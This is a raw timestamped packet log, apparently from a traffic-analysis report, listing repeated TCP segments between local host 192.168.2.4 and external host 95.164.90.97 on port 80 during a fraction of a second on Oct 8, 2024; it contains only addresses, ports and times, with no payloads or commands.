Oct 8, 2024 02:45:30.446261883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446294069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446310043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446326017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446341038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446357965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446371078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446389914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446402073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446424007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446438074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446456909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446471930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446489096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446501970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446521044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446533918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446553946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446564913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446585894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446599960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446619987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446634054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446651936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446665049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446685076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446698904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446717024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446731091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446749926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446763039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446782112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.446794987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446825981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447294950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447329044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447350979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447359085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447360992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447406054 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447410107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447443962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447458982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447474957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447489977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447504044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447520971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447540045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447551012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447572947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447594881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447604895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447618961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447637081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447649956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447669983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447680950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447701931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447715998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447734118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447746992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447767019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447778940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447798967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447812080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447830915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447841883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447864056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447879076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447896004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.447909117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.447940111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448190928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448225021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448249102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448256969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448259115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448288918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448303938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448323011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448335886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448355913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448368073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448389053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448401928 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448421955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448434114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448453903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448467970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448486090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448499918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448518991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448537111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448554993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448566914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448587894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448599100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448621035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448635101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448653936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448666096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448687077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448698044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448719025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448729992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448755026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.448765993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.448800087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449100971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449131966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449163914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449163914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449163914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449198008 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449203968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449229002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449239969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449261904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449275017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449294090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449306011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449326992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449340105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449359894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449373007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449392080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449404001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449424982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449436903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449455976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449469090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449487925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449500084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449521065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449532986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449553967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449564934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449587107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449598074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449619055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449632883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449662924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449907064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449939013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449959040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.449969053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.449980974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.450001955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.450017929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.450043917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.450046062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.450079918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.450087070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.450124979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.519505978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.519581079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.519633055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.519651890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.519669056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.519675016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.519675016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.519704103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.519728899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.519736052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.519742966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.519769907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.519779921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.519804001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.519812107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.519840002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.519845963 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.519872904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.519882917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.519906044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.519927025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.519954920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.519958973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.519992113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520003080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520025969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520031929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520066023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520067930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520098925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520104885 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520133972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520139933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520167112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520184040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520198107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520203114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520231009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520241976 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520265102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520276070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520298958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520306110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520334005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520338058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520378113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520425081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520457983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520471096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520490885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520500898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520524025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520534039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520558119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520564079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520590067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520598888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520622969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520627022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520654917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520669937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520688057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520699978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520730972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520771980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520802975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520817041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520867109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520912886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520945072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520956039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.520977020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.520989895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521009922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521022081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521043062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521054029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521075964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521083117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521109104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521120071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521141052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521151066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521173000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521184921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521207094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521215916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521238089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521250010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521271944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521281958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521311045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521668911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521702051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521722078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521733046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521742105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521765947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521780014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521800041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521809101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521831989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521842957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521864891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521874905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521898031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521908045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521930933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521939993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521964073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.521974087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.521996021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522007942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522028923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522038937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522062063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522073030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522097111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522114038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522129059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522140026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522161961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522171974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522193909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522203922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522236109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522589922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522622108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522640944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522654057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522669077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522686958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522701979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522718906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522732019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522767067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522778034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522799969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522816896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522833109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522847891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522866011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522876024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522898912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522913933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522932053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522947073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522964954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.522979021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.522996902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523013115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523030043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523041964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523062944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523077011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523096085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523109913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523144007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523318052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523351908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523369074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523399115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523418903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523452997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523468018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523485899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523502111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523519993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523534060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523554087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523566961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523587942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523601055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523621082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523637056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523653984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523669004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.523685932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.523701906 CEST	51293	80	192.168.2.4	95.164.90.97
